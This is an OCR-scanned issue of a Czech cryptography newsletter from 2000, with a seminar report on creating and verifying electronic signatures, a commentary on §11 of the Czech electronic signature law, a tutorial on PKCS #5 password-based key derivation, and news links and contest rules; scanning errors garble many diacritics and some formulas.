elektronického podpisu ¢eka vSechny zucastnéné subjekty jesté dlouhd a narocna cesta. V
diskusi vystoupila i feditelka odboru elektronického podpisu UOOU pani Mgr. Dagmar
Bosakova, kterd pfitomné sezndmila se stavem piiprav vyhlasek k paragrafu 6 a 17 Zakona o
elektronickém podpisu. Akce ptfipominala spiSe klubovy vecer. K této pfijemné atmosféie
prispélo pékné prostiedi a drobné ob&erstveni, které ucastnikiim zajistil spolek Ceska technika
(doc.Chaloupka).

Jako pfipominku této akce zde uvadim otisk dvou folii pouZzitych v tvodni prednasce.
Jedna se o pripomenuti, jak se vytvari elektronicky podpis datové zpravy a jak probiha
ovéfeni podpisu u piijaté elektronicky podepsané datové zpravy. Ptesto, Ze se jedna o dvé
zcela zfejmé situace, byl o tyto folie zdjem - daji se totiz dobie vyuzit pii vysvétleni téchto
pojmi. Ostatni folie byly v€novany pojmiim zakona (roztfidéni typii podpist, poskytovatelti
certifika¢nich sluzeb, prava a povinnosti podepisujici se osoby a UOOU). Soubor viech folii -
v elektronické podobé - lze ziskat zaslanim zadosti na adresu pavel.vondruska@post.cz,
predmét folie.

Obsah prednasky

1. U¢innost a pozadavky na jednotlivé subjekty a jejich odpovédnost (podepisujici se osoba,
osoba spoléhajici se na elektronicky podpis, organizace, vefejnd moc, poskytovatel
certifikacnich sluzeb)

2. Typy elektronickych podpist (elektronicky podpis, zaruceny a kvalifikovany elektronicky
podpis)

3. Typy poskytovatelt certifikacnich sluzeb a certifikat (PCS, kvalifikovany certifikat, PCS
vydévajici kvalifikované certifikaty, akreditovany PCS)

4. N¢které problémy spojené s aplikaci zékona v praxi

5. Diskuse

Pouzité zkratky :

ZoEP - Zékon o elektronickém podpisu ¢.227/2000

EP - elektronicky podpis

ZEP - zaruceny elektronicky podpis

QP - kvalifikovany podpis

QC - kvalifikovany certifikat

PCS - poskytovatel certifikacnich sluzeb

PCS-QC - poskytovatel certifikacnich sluzeb vydavajici kvalifikované certifikaty
APCS - akreditovany poskytovatel certifika¢nich sluzeb
PBVP - prostfedek pro bezpecné vytvareni podpist
PBOP - prostiedek pro bezpecné ovétovani podpisii
UoouU - Utad pro ochranu osobnich udajt
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ELEKTRONICKY PODPIS

DATOVA ZPRAVA"T"

Toto je text, ktery
budu chtit podepsat.
Nyni ukazi jak se to
deéla. Cely postup
je velice jednoduchy.
Hash, asymetricka Sifra,
data pro vytvareni EP
kli¢,certifikat.

Tajny kli&

Data pro vytvaieni EP

Verejny klic
i

Data pro ovéfovani EP

HASH

SHA-1
MD5

|

|AB09 12 C2 4F 12A54CD1FF| "HI1"

PCS

CERTIFIKAT )

Informace o vefejnam kIidi

Identifikatni fislo : 1234567800
vefeiny it #ﬁ

Jméno : "Kevin Mitnick”

128/160 bita v
l Dalii Udaje podle X509y 3
Ukonéeni platnosti © 2.1.2001
Podpis CA: 9941 C2B313 .
ASYMETRICKA
SIFRA

RSA, DSA, ECC

ELEKTRONICKY PODPIS 2
DATOVE ZPRAVY "T" |=—
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ELEKTRONICKY PODPIS - OVERENI

af CERTIFIKAT

Informace owefejném kIt

Identifikatni Eislo ;1234567890
wefejni Kt k

Jméno : "Kevin Mitnick!

Dalsi Udaje podle X509y 3

Ukonteni platnostic 21,2001

\4
n " Podpis CA: 8941 CZB313 ..
Toto je text, ktery
budu chtit podepsat. ﬂ

Nyni ukézi jak se to Elektronicky podpis "T"
déla. Cely postup

je velice jednoduchy.

Hash, asymetricka $ifra, ﬂ

data pro vytvaieni EP

kli¢,certifikat.

ASYMETRICKA

SIFRA

AB 09 12C24F12A54CD1FF |"HI " '

g
H2 = HI

AB 09 12 C2 4F 12 A5 4C D1 FF "H2" ﬁ

128/160 bitu
OVEREN{ PLATNOSTI u PCS PCS
AKCEPTOVAN ?
IDENTIFIKACE ZNEPLATNEN ( CRL)? g
NEPORUSENOST POZASTAVENA omassowiir
NEPOPIRATELNOST PLATNOST ? vre it =
ZRUSEN (afadem) ?

Ukonieni platnosti - 2.1.2001
Fodpis CA - 99 A1 C28313
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C. Rozjimani nad ZoEP, zvlasté pak nad paragrafem 11
Mgr. Pavel Vondruska (NBU )

Zakon o elektronickém podpisu vstoupil v platnost 1.10.2000. Zakon doplni provadéci
vyhlasky k § 6 ak § 17 . K vydani téchto vyhlasek je zmocnén UOOU. Na tomto tfadu vznikl
odbor elektronického podpisu, ktery mé za kol vyhlasky ptipravit. Odbor méa v soucasné
dobé tfi lidi. Pokud nemaji byt tyto vyhlasky bezzubé a tedy maji nastavit spradvné¢ podminky
(ptedevsim bezpecnostni parametry) k hodnoceni poskytovatela certifikacnich sluzeb, kteti
chtgji vydavat kvalifikované certifikaty nebo byt piimo akreditovanymi poskytovateli
certifikacnich sluzeb, je zfejmé, ze musi byt pfipraveny s ndlezitou erudici a znalosti véci.
Dr.Neuwirt jmenoval odbornou komisi, kterd md za ukol pfipravit podklady k témto
vyhlaskam. Dnes, kdy pisi tyto fadky, vySel v EU dalsi opraveny draft (celkem jiz desaty !)
vénovany hodnoceni poskytovateld certifika¢nich sluzeb, ktefi vydavaji kvalifikované
certifikaty. Jedna se tedy o materialy velice zivé a stale se jeSté menici.

Jakmile bude text vyhlasky touto odbornou skupinou pfipraven, bude Utadem
piedlozen k ptfipominkdm nejprve odbornikiim - pfedevSim z firem, které se problematikou
elektronického podpisu aktivné zabyvaji - a po té celé verejnosti k diskusi. Po zapracovani
piipominek se bude ¢ekat na moznost zvetejnéni téchto vyhlaSek ve Sbirce zakonu. Tady
pravdépodobné bude nutna novela zékona &.101/2000, kterym Utad vznikl . V soucasné dobé
je totiz UFad sice zakonem ¢&. 227/2000 zmocnén k piipravé téchto vyhlasek, ale neni
ustifednim organem statni spravy a tedy nemiiZe ve Sbirce zakonu publikovat a vlastné
tak nemiiZe tuto vyhlasku vydat....

Vratme se k zakonu o elektronickém podpisu. Pii seznamovani se s jednotlivymi
paragrafy mne zaujalo, ze z celkového poctu 28 paragraf neni jeden z nich - a to paragraf 11
- uveden nazvem paragrafu. Tento paragraf je také co do poctu fadkl nejkratsi. OvSem obsah
je velice dulezity. Podivejme se na tento paragraf trochu blize.

§11
V oblasti organii vefejné moci je moZné pouzivat pouze zarucené elektronické podpisy a
kvalifikované certifikaty vydavané akreditovanymi poskytovateli certifikacnich sluzeb.

Otazka 1

PredevS§im mne napadla otazka, co je vlastné oblast vefejné moci? Na koho se tedy dikce
tohoto zékona vztahuje?

V jednom z pfipravovanych dokumentli jsem nasel nasledujici odpovéd’:

Tento paragraf se vztahuje na statni organy, organy samospravy, jiné organy veifejné moci,
Kancelat Prezidenta CR, Kancelat Poslanecké snémovny Parlamentu CR, Kancelat senatu
Parlamentu CR a Kancelaf Veifejného ochrance prav.

Otazka 2

Druha otdzka, kterd mne pfi pfecteni tohoto paragrafu napadla, je tato : co se mini spojenim

... v oblasti organti vefejné moci ...? Zde je moznych vice vykladi:

- uvnitf jednoho kazdého z organti vetfejné moci

- v komunikaci mezi jednotlivymi organy veiejné moci

- v komunikaci mezi obanem a nékterym z organti vefejné moci

- veSkera komunikace orgdni vefejné moci (uvnitf orgdnu, mezi jednotlivymi organy,
obCan - organy vetejné moci)

Tuto otazku zodpovida doc.Smejkal takto:
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... pokud zakon ftika "v oblasti", znamena to samoziejmé vzdy, kdy se jednd o komunikaci,
kde alesponl na jedné strané se nachéazi organ vefejné moci. Jinak by toto ustanoveni bylo
formulovano ziejmé jinak, napf. "organy vefejné moci mohou pouzivat.." a predevsim,
takovyto vyklad by postradal jakokoliv logiku vzhledem k pozadavkim, které na komunikaci
v ramci procesnich pravnich ptedpisti po novele provedené ZoEP mame.
Doslovna citace (v€etné pieklepu) z : Vladimir Smejkal, rubrika Zpravy (11.11.2000),
Vyjadieni UOOU, http://www.e-podpisy.cz/ .

Citaci zde uvadim takto peclivé vzhledem ke zlové&stné poznamce, ktera na piislusné
adrese vita kazdého navstévnika:
"Obsah vSech stranek nachazejicich se na tomto serveru pod jménem e-podpisy.cz a epodpisy.cz je chranén
platnymi ¢eskymi zékony, a to predevsim autorskym zakonem. Jakékoliv rozmnozovani, roz§ifovani, predavani,
transformovani, upravovani, prodej, pronajem, pij¢ovani nebo jiny zpisob poskytovani autorskych dél zde se
nachazejicich dal§i osobé€, piipadné sdélovani dila vefejnosti jakymkoliv zplisobem vcetné rozSifovani
prostrednictvim dalkového pfistupu napf. prostiednictvim sit€ Internet, jakoz i zhotoveni rozmnozeniny pro
osobni potfebu nad ramec zakonnych opravnéni vyplyvajicich z autorského zakona je porusovanim autorskych

prav a soucasné trestnym ¢inem. Citace z autorskych dél a jinych dokumentl, zde uvefejnénych, jsou mozné
pouze s uvedenim autora, nazvu a pramene."

Disledky tohoto paragrafu

Utinnost ZoEP (zde a dale budeme pouZivat zkratky, které byly zavedeny v
predchozim c¢lanku) je od 1.9.2000 a ani k tomuto paragrafu nebylo pfijato prechodné
ustanoveni. Tedy jiz vstoupil v platnost.

Pti komunikaci v oblasti vefejné moci v sou¢asné dobé neni mozné pouzit jiny podpis
nez zaruceny elektronicky podpis (ZEP) zaloZeny na kvalifikovaném certifikatu (QC), ktery
vydal akreditovany poskytovatel certifika¢nich sluzeb (APCS).

Disledek 1 ©

Pokud budeme brat doslova dikci tohoto zakona, znamena to, ze se Ufednici organt
vefejné moci jiz nesmi rucné podepisovat ? Maji pfece nafizeno pouzivat pouze ZEP s QC od
APCS ! Takze pokud od 1.9.2000 se n¢jaky ufednik podepise pod né¢jaky dokument, porusil
tim ZoEP ¢.227/2000. Snad se da tento rozpor vyteSit konstatovanim, ze zde mélo byt
uvedeno: v ptipad¢ pouziti elektronického podpisu ma byt pouzito zaru¢eného elektronického
podpisu .... Odtivodnit se to da slovy, vzdyt’ cely ZoEP se tyka elektronického podepisovani
tak, proC to zde zduraziiovat ...OvSem pravdou je, ze dikce paragrafu je jednoznacna a tyto
podpisy zakazuje.

Diisledek 2

Pod e-mail, fax (odesilany z PC) apod. jiz nesmi byt napsan podpis z klavesnice Ci
vlozen oskenovany podpis. Dle definice je totiz i takovyto postup elektronickym podpisem (§
2, pismeno a), ale neni zaru¢enym elektronickym podpisem (§ 2, pismeno b). Utednik nebo
obcan, ktery zasila elektronickou datovou zpravu néjakému organu vefejné moci, se tedy
nemuze do tohoto dokumentu podepsat - nebyl by to totiz zaruc¢eny elektronicky podpis ... a
tedy by porusil zakon.

Diisledek 3

Dokud nebudou vydany provadéci vyhlasky (a ty jak jiz vime budou, az to bude moci
UOOU vykonat) - nebudou znama pravidla k hodnoceni poskytovatele, ktery vydava
kvalifikované certifikaty. Teprve po splnéni téchto podminek lze zazadat Utad o akreditaci a
o zafazeni do seznamu akreditovanych poskytovateli certifikacnich sluzeb (pfi splnéni
podminek § 10). Jenze k tomu, aby mohl n¢kdo splnit podminky kladené na PCS, je nutné mit
napt. bezpecné prostiedky pro vytvareni elektronického podpisu a ovéfovaci prostredky. K
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hodnoceni téchto prostiedkll je potfeba vybudovat sit’ testovacich laboratoii (nebo zajistit
uzndvani zahrani¢nich certifikatl téchto zatfizeni). K vyuzivani v oblasti vefejné moci je
prosté potteba ziskat kvalifikovany certifikat od akreditovaného poskytovatele certifikacnich
sluzeb a to bude mozné az za néjaky Cas... Do té doby nelze pozadavek paragrafu 11 zajistit a
tak splnit.

Informace 1

K zatazeni paragrafu 11 pravdépodobné vedla snaha zajistit podpisim v oblasti
vetejné moci co nejvetsi ditvéru - bezpecnost. V tom piipadé mohl byt dokonce stanoven
pozadavek na pouziti kvalifikovaného podpisu (§ 3, odstavec 2), ktery je chdpan v EU jako
ekvivalent vlastnoru¢niho podpisu. K tomu, aby byl n¢jaky podpis kvalifikovany (tedy splnil
podminku paragrafu 3, odstavec 2), musi byt mimo pozadavku, Ze se jedna o zaruceny
elektronicky podpis zalozeny na kvalifikovaném certifikatu vydaném poskytovatelem, ktery
vydavé kvalifikovany certifikat (nemusi byt tedy akreditovany), navic splnén pozadavek, ze
podpis byl vytvoren pomoci bezpe¢ného podpisového prostiedku. Na druhou stranu v ptipadé
ptisné dikce paragrafu 11 - ... je mozné pouZivat pouze ... by to mohl byt spiSe dalsi
problém. Reseni by byla draha a odrazovala by v pouzivani tohoto zptisobu komunikace.
Mnohem vyhodnéjsi by bylo umoznit organtim vefejné moci vyhlaSovat bezpecnostni profily
pro jednotlivé konkrétni agendy - tedy vyhlasit akceptovatelny zplsob podpisu piijemcem
(jak se o tom uvazuje v EU) - pro rizné agendy. Napf. pfi e-mail dotazu typu - zda mé urad
otevieno ve stfedu odpoledne - se zda splnéni pozadavkl paragrafu 11 ponékud piehnané
uzkostlivé a brénici elektronické komunikaci na misto jeji podpory.

Diisledek 4

Zadny z organii vefejné moci jiz nemiize napf. pro svoji potfebu v ramci vnitini posty
pouzivat nebo budovat sva feSeni (napi. levné a zcela vyhovujici feSeni pomoci instalace
serveru Windows 2000 se zapnutou sluzbou certifikacni autority). Takovato feSeni nejsou
zalozena na poskytovani sluzeb akreditovaného poskytovatele certifikac¢nich sluzeb (APCS)
dle pfisné dikce paragrafu 11. Takze i pro tuto vnitini sluzbu si musi kazdy z organii vetejné
moci zajistit certifikaty od néjakého APCS a tomu za tyto sluzby pravidelné platit. Dalsi
moznosti je vybudovani vlastniho PCS a po splnéni podminek vyhlasky a ZoEP zazadat o
akreditaci na UOOU. Tato cesta je oviem velice nakladna; pfi splnéni viech podminek § 6 a §
10 se bude pohybovat v desitkdch miliontt K¢. Navic z paragrafu 10 pismeno 6 v ptipadé, ze
nekdo poskytuje sluzby jako APCS, plyne, Ze jiné nez taxativné vyjmenované sluzby ani
provadét nemize - tedy napf. svoji ¢innost jako organ vetejné moci (§10 pismeno 6 : Kromé
¢innosti uvedenych v tomto zdkoné muze akreditovany poskytovatel certifikacnich sluzeb bez
souhlasu Ufadu ptisobit jen jako advokat, notaf nebo znalec (doplnim, Ze znalec &ehokoli -
napt. hub)). Je zde sice moznost vyjimky, ale neni dale stanoveno, jak pii udéleni ¢i neudéleni
ma Utad postupovat. Vyvozuji z toho, Ze pravdépodobné mize byt vyjimka - (stat se
akreditovanym poskytovatelem certifika¢nich sluzeb a poskytovat jiné sluzby nez advokat,
notaf nebo znalec ) - ud¢lovana nebo neudélovdna libovolné na zakladé nalady ufednika
UOOU nebo tieba podle ¢isla zadosti (lichym se udéli, sudym ne...).

Informace 2 ©
Paragraf 11 je pravné nevymahatelny, nebot' za jeho poruseni nebo nedodrzovani
nejsou stanoveny v ZoEP ¢.227/2000 zadné sankce.

Uvédomuji si, ze vySe uvedené dusledky paragrafu 11 nejsou na prvni pohled ziejmé a

predpokladam, Ze ani nebyly minény tak, jak jsem pravé popsal. OvSem zakon je zédkon... A
tak se téSim na fronty u APCS, kde stoji prede mnou ufednici z BIS, Vojenské
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kontrarozvédky nebo Jednotky rychlého nasazeni se svymi doklady, aby uzavieli smlouvu s
ptisluSnym akreditovanym poskytovatelem certifika¢nich sluzeb. Mozn4, Ze tato data budou
nakonec zajimavéjsi a cennéj$i nez samotna data k vytvareni elektronického podpisu.

Na zavér si asi Ctenar klade otdzku, jak se vlastné paragraf 11 do ZoEP dostal?
Pokusim se najit odpovéd’ uvedenim nasledujici zkracené historie vzniku ZoEP ¢.227/2000.

Fakta z historie vzniku ZoEP ¢.227/2000.

V lednu tohoto roku ptedlozili poslanci Vladimir Mlynatr (US), Ivan Langer (ODS),
Stanislav Gross (CSSD) a Cyril Svoboda (KDU-CSL) navrh zakona o elektronickém podpisu.
Tento text pripravil SPIS ve spolupraci s doc. Smejkalem a doc.Matesem. Dne 26. ledna 2000
byl tento navrh vétSinou poslaneckych hlast postoupen do druhého cteni.

Pied timto druhym &tenim Utad pro statni informaéni systém a SPIS iniciovaly vznik
expertni skupiny nezdvislych odbornikli a pozadaly ji o zpracovani odbornych pfipominek
k textu poslaneckého navrhu zakona formou pozménovacich navrht tak, aby byl uveden do
souladu se Smérnici Evropské unie o elektronickych podpisech schvalenou 30.listopadu 1999
a o odstranéni nedostatkd, na které odborna vetejnost poukazovala (vyplyvajici predevsim z
jiného pojeti samotné definice elektronického podpisu a z nutného plsobeni vice druhi
poskytovatell certifikacnich sluzeb).

Tato odborné skupina se sesla se zastupci SPISU a USISU na pracovnim vikendovém
shroméazdéni v Tresti (26.2. - 27.2.2000) a v nasledujicich dnech zpracovéavala odborné
piipominky k textu. Z textu piijatétho v prvém c¢teni bylo ponechdno po téchto upravach
ptiblizné 18% z plivodniho textu. Konecny produkt, ktery z téchto jednani vzeSel (ndvrh
Zékona o elektronickém podpisu), byl pfedan 7.3.2000 panu poslanci Mlynéafovi, ktery jej
ptedlozil Hospodarskému vyboru parlamentu.

Paragraf 11 ani jeho obdoba v této zpracované a piedané verzi nebyl uveden. V
legislativnim procesu doslo nésledné i k nékterym dalSim dil¢im zmé&nam.

Zékon byl piijat 29. Cervna 2000. Jako autor predlohy je ve sbirce zakoni uveden
Parlament. Tento pfistup k autorstvi je podle mne spravny, nebot’ autorstvi jakéhokoliv
odbornika, ktery navrh Zakona o elektronickém podpisu pfipravoval, je totiz mirné feceno
pochybné. Z plivodniho ndvrhu zbylo pfiblizn€ osmnécti procentni torzo a text vlozeny
odbornou skupinou zase vychazel ze znéni a zdsad Smérnice EU. Autory jsou v pravém slova
smyslu vSichni ti, ktefi pomoci pozménovacich ndvrhG zdkon upravili - tedy poslanci
Parlamentu. Zakon vstoupil v platnost 1.10.2000.

Na uplny zévér uvedu jesté jednu doslovnou citaci :

"Generovani pochybnosti okolo vykladu § 11, ktery od samého pocatku velmi vadi
nekterym lobujicim firmam, je vyznamnym signalem o tom, ze se témto lobbystim jiz
podaiilo zfejmé& proniknout do &innosti UOOU." Vladimir Smejkal, rubrika Zpravy
(11.11.2000), Vyjadieni UOOU, http://www.e-podpisy.cz/ .

Takovéto konstatovani je bezobsazné a problémy kolem paragrafu 11 nefesi.
Predpokladam, Ze teprve nafizeni vlady, kterym se vyuziti elektronického podpisu upravuje v
oblasti vefejné moci, tyto problémy n¢jakym zpusobem odstrani nebo alespoil uvede na
pravou miru. Tento ¢lanek nevznikl jako snaha o "generovani pochybnosti", ale snazi se
pojmenovat problémy, které paragraf 11 muZe v sobé obsahovat. Pokud jsou tyto
problémy malicherné - tim lépe, pokud ne - je potiebné se s nimi néjakym objektivnim
zpusobem vyporadat.
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D. Kryptografie a normy
Ing. Jaroslav Pinkava, CSc. (AEC spol. s r.0./ Norman Czech Republic)

Dil 3.
Normy PKCS (Public-Key Cryptographic Standards) - PKCS #5.

Uvod

Dnesni ¢ast seridlu bude vénovana PKCS #5, tj. vlastné problematice prace s heslem.
Nejedna se vSak o popsani cest jak volit spravné heslo (délka, pouZivané znaky), abychom se
vyhnuli slovnikovym ttokiim, resp. Gtokiim obdobného charakteru. Cilem normy je popsat
zpusoby, dle kterych lze bezpecné z dan¢ho hesla odvozovat tajny kli¢ (pouzity napt. pro
zaSifrovani soukromého klice).

PKCS #5

Jako ostatni normy z fady PKCS ma 1 pétka svoji historii. Prvni jeji verze se objevila
v unoru 1991. V soucasnosti plati verze 2, kterd rovnéz prosla n¢kolika drafty, aby nakonec
byla vydana jako rfc2898 (lit. [1]). Autorem tohoto dokumentu je znamy odbornik, pracovnik
firmy RSA Security Burt Kaliski.

Dokument obsahuje doporuceni pro nasledujici tfi schémata:

- funkce pro odvozovani kli¢t (key derivation functions);
- Sifrovaci schémata;
- schémata pro autentizaci zprav.

Vse dopliiuje popis technik dle syntaxe ASN.1. Doporuceni jsou formulovéna pro
obecné (tj. nekonkretizované) aplikace v pocita¢ich a komunikacnich systémech a jsou
pomérné flexibilni.

Funkce pro odvozovani kli¢i

Ukolem této funkce (funkce pro odvozovani kli¢d) je vytvofit novy (odvozeny) kli¢
z pivodniho (zdkladniho) klice a dalSich parametrti. Timto zédkladnim kli¢em je zde minéno
heslo a ostatnimi parametry jsou tzv. stl (salt — tato by m¢la byt generovana nahodné a méla
by byt minimalné 64 biti dlouhd) a stav ¢itace. K odvozeni klict je pouzita pak hashovaci
funkce (obvykle MDS5 ¢i SHA-1). Délka odvozeného klice je omezena délkou vystupu
hashovaci funkce (tj. pro MD5 to je 128 biti, pro SHA-1 to je 160 bith).

Poznamka. V navaznosti na chystanou normu AES se jiz objevila — zatim ve velice
pfedbézné verzi — hashovaci funkce SHA-512, jejiz vystup , jak ndzev napovida, ma délku
512 biti.

V dokumentu PKCS#5 je heslem minén oktetovy fetézec (fetézec osmibitovych
znakll) libovolné délky. Obvykle je pro kédovani bézného textu pouzito n¢jaké standardni
pravidlo (ASCII ¢i UTF-8).

Obecny pristup ke kryptografii pouzivajici hesla kombinuje heslo se ,,soli* a takto je
odvozovan kli¢. ,,Sal* je pak jakymsi parametrem velké mnoZiny klich a nemusi byt
utajovana. I kdyz protivnik miize zkonstruovat mnozinu vSech moznych hesel (slovnikovy
utok), bude pro néj obtizné zkonstruovat mnozinu vSech moznych kli¢t — pro kazdé heslo
existuje velké mnozstvi klicd. Protivnik tudiz je nucen prohleddvat hesla pro kazdou
konkrétni ,,sal“.

Pouzivan je i nasledujici pfistup, ktery ma za cil zvysit vypocetni naroky totalnich
zkousek. Pfi odvozeni kli¢e se pouzije dlouha série iteraci (napt. vypocet pomoci hashovaci
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funkce), feknéme 1000 a zatimco osoba znajici spravné heslo je schopna provést tento pocet
iteraci, osoba, kterd zkousi rtizné hesla jiz neni schopna pro kazdou z moZznosti toto provést.

V materialu PKCS#5 jsou popsany dvé funkce pro odvozovani kli¢t z hesla: PBKFDI1
a PBKFD2. Prvni z nich jiZz neni doporu¢ovana pro nové aplikace, zde proto bude popsana
pouze druhd funkce PBKFD2.

Postup vypoctu DK:

DK = PBKDF2 (P, S, ¢, dkLen)

1. 1=CEIL (dkLen / hLen) ,
r=dkLen-(1-1)* hLen.

Zde 1 je pocet hLen-oktetovych blokti DK (zaokrouhleny nahoru), r je pocet oktetl
posledniho bloku, CEIL(x) — nejmensi celé ¢islo vétsi nez x.

2. Postupné pro kazdy blok DK spocteme

T 1=F(@,S,c, 1),
T 2=F(P,S,c,2),

TI1=F(@P,S,c 1),
kde F je xor (mod 2) soucet
F(P,S,c,i)=U _1\xor U 2 \xor ... \xor U ¢

U 1=PRF (P, S | INT (i),
U 2=PRF(P,U 1),

U c=PRF (P, U_{c-11).

wewvr

3. Konkantenaci téchto bloka (prvnich dkLen oktetl) ziskdme odvozeny
klic.

DK=T 1||T 2] .. ||T I<0.r-1>

Zde PRF je vhodna pseudondhodna funkce, hLen je délka jejiho vystupu, P je heslo,
S je ,,stil*, c stav CitaCe, dkLen je zamyslena délka klice (nejvyse (2732 - 1) * hLen) a DK je
ziskany odvozeny klic.

Sifrovaci schémata vychazejici z hesla

Typickym vyuzitim téchto schémat je ochrana soukromého klice, kde ptisluSné zprava
obsahuje informaci o soukromém kli¢i (dle PKCS#S).

Opét existuji dva popsané postupy, prvni se opira o vyuziti PKBDF1 v kombinaci
s blokovou $ifrou (jako jsou DES, RC2 v médu CBC). Zde bude popsan pouze druhy postup
opirajici se o PBKDF2 (v rfc2898 je pak popsano uziti se Sifrovym algoritmem RCS).
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PBES2:
A.Zasifrovani zpravy M pomoci hesla P (vysledkem je Sifrovy text C):

1. Spocteme DK =KDF (P, S, ¢, dkLen) .
2. Zasifrujeme zpravu M (odpovidajicim algoritmem) s pomoci klice DK.

(zde P je heslo, S je sil, ¢ je stav ¢itace a dkLen urcuje délku odvozeného klice DK, M je
zprava).

B.Desifrovani Sifrového textu C heslem P pro ziskani otevieného textu M:

1. Spocteme DK =KDF (P, S, c, dkLen) .
2. Desifrujeme zpravu M (odpovidajicim algoritmem) s pomoci klice DK.

Schema pro autentizaci zpravy

Toto schéma obsahuje vytvofeni MAC (autentiza¢ni kod zpravy) a verifikaci tohoto
kodu. MAC je pfitom vytvaren pomoci klice a verifikace MAC probiha vyuZitim téhoz klice.
V kryptografii opirajici se o pouzivani hesla je timto klicem samo heslo. Je popsano jediné
schéma PBMACI.

A.Vytvareni MAC:

1.Stejnou cestou jako vySe (piedesly odstavec) spocteme odvozeny kli€.

DK =KDF (P, S, ¢, dkLen) .
2. Zprava M je zpracovana odpovidajicim schématem pro autentizaci zpravy pii vyuZziti
odvozeného kli¢e DK a je ziskan autentiza¢ni kod T.

B. Ovéfeni MAC probiha analogickou cestou.

Schématem pro autentizaci zpravy zde muize byt napt. HMAC-SHA-1 opirajici se o
vyuziti hashovaci funkce SHA-1. KIi¢ v tomto schématu ma promeénlivou délku a autentizacni
kod T ma délku 160 bita (FIPS-180-1).

Shrnuti

Postupy v materidlu rfc2898 patii mezi dnes bézné uzivané metody prace s heslem.
Nejsou to vSak cesty jediné. V €lancich [2] , v podkladovych materidlech skupiny P1363
(Study Group on Password-Based Authenticated-Key-Exchange Methods) lze nalézt celou
fadu novodobych postupii pro praci s heslem. Vzhledem k tomu, Ze téchto materidla je
povicero (minimaln¢ pét, je vSak mozné, ze pied zpracovanim piislusného dokumentu jesté
néjaké ptibudou) byl by vyklad téchto technik znaéné€ obsahly.

Odkazuji zainteresovaného Ctenaie proto piimo na tyto clanky — jiz rozpracovany
dokument P1363a (Amendment, souc¢asnd verze - Draft 5) se témito technikami zabyvat
nebude. Vyjimkou je definice funkce KDF2 (funkce pro odvozeni kli¢a), kterd se od vyse
popsané funkce PKBDF?2 1i8i v n¢kterych detailech a samoziejmé v obecnéjSim pouziti.

Teprve nové vznikla skupina (The IEEE P1363 Study Group for Future Public-Key
Cryptography Standards) bude zpracovavat dokument, ktery by mél obsahovat navrh postupt
pro praci s heslem (tato skupina byla zformovana teprve na pocatku tohoto roku a zatim
nevydala zadny dokument - resp. draft).
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Za zminku vSak stoji material [2.6]. Jeho obsahem vSak neni popis jesté konkrétni
volba postupti a technik, ale popisuje spiSe cile, které bude sledovat budouci standardizace.
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E. Letem Sifrovym svétem

1. Pro z4jemce o bezpecnost mobilnich telefoni doporucuji nové publikovany c¢lanek
autorit Slobodana Petrovice a Amparo Fuster-Sabatera. Je zde zvetfejnéna kryptoanalyza
algoritmu A5/2 (slabsi verze A5/1, ktery se uziva v mobilnich telefonech i na naSem uzemi).
Publikovand metoda dokazuje, ze slozitost je jen dv€é na sedmndctou
http://eprint.iacr.org/2000/052.pdf .

2. Jako byvaly Sachista si nemohu odpustit zpravu ze Sachového svéta. Zapas o mistra
svéta mezi Garry Kasparovem a jeho byvalym Zakem Vladimirem Kramnikem skon¢il
vitézstvim pétadvacetiletého Kramnika ! Garry Kasparov patnact let neprohrdl zapas s
zadnym cElovékem (1x prohral s pocitacem). Nyni v zapase na Sestnéct partii 2x prohral a 13x
remizoval (stav pted posledni partii). Kramnik je sympaticky vysoky mlady sebevédomy muz.
Na zéavér jedna z jeho vét, kterou jsem si zapamatoval: "Nelze srovndvat Sachy s politikou.

wev

Sachisté zapasi Cestné, v politice nevitézi vzdy moudrtejsi nebo vyjimecnéjsi."

3. Pokud potiebujete informace o stavu zdkonodarstvi v oblasti elektronického podpisu
(resp. digitdlniho podpisu) , pak mizete vyuzit informace na URL adrese
http://rechten.kub.nl/simone/ds-lawsu.htm . Jsou zde uvedeny informace ze vSech statl svéta.
Bohuzel aktualizace - alespoii v piipadé Ceské republiky - neni pi#ili§ dobra. Na serveru je
uvedeno, ze posledni aktualizace byla provedena 17.10.2000.

4. Také neveétite elektronickému podpisu ? Nelibi se Vam skuteCnost, Ze se
nepodepisujete vy osobné, ale podepisuje vas pocitac, ktery miize byt znacné nediivéryhodny?
Pak vas jist¢ zaujme clanek znamého odbornika, kryptologa Bruce Schneiera "Why Digital
Signatures Are Not Signatures" . Clanek vysel 15.11.2000 ve zndmém elektronickém &asopise
Crypto-Gramm , http://www.counterpane.com .

5. Zajimavy ¢lanek o skute¢né kybernetické valce mezi hackery z Izraele a Palestiny si
muzete precist na http://www.zdnet.com/zdnn/stories/news/0,4586,2647934.,00.html

6. Dalsi zajimavy ¢lanek od B.Schneiera a C.Ellisona "10 Risks of PKI" Ize ziskat na
URL adrese : http://www.counterpane.com/pki-risks.html

7. Legendarni Enigma, ktera byla ukradena z muzea v Bletchley Parku (viz zprava v
minulém ¢isle), byla vracena na své misto
http://news.bbc.co.uk/hi/english/uk/newsid 977000/977127.stm

8. O ¢&em jsme psali pfed rokem ?

Crypto-World 11/99 http://www.mujweb.cz/veda/gcucmp/casopis/cryptol1 99.html

A. Jak je to s bezpecnosti eliptickych kryptosystémi ? (Ing. Pinkava)

B. Znamy problém pfistupu k zabezpecenym serveriim pomoci protokolu https s aplikaci
Internet Explorer 5 v systému Windows NT 4.0 s aktualizaci SP4

C.Y2Kcount.exe - Trojsky kiin v pocitacich

D.Matematické principy informacni bezpecnosti (Dr. Soucek)
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A.Soutéz (prubézny stav, informace o 1.cené)
Mgr. Pavel Vondruska ( NBU )

1. Pravidla soutéze

NasSe soutéz probihala ve Ctyfech kolech. V seSitech 9/2000 az 12/2000 jsme postupné
uvefejnili po jedné soutézni uloze a soucasné¢ uvedli doprovodny text k piislusné uloze.
Resitelé wloh I. az III., kteii zaslali spravné feSeni do data uvedeného u kazdé ulohy, byli
slosovani a dva vybrani ziskali cenu kola (certikat k datim pro vytvafeni elektronického
podpisu u poskytovatele certifikacnich sluzeb I.CA resp. AEC).

Ctvrté kolo bude ukonéeno 19.12.2000 ve 20.00 hod. Uplnym zavérem soutéze bude
losovani, které prob¢hne 21.12.2000. Z tesitell, kteti vyfesi ulohu tohoto posledniho kola,
budou opét vylosovani dva vyherci s moznosti ziskat zdarma certifikdt u pftislusnych
poskytovatelii certifikacnich sluzeb a bude také vylosovan celkovy vitéz. Celkovym vitézem
se tedy muZe stat i ten soutéZici, ktery se zapoji do soutéZe az nyni a ieSeni vSech ¢tyrech
uloh odesle najednou v ¢asovém limitu do 19.12.2000 !

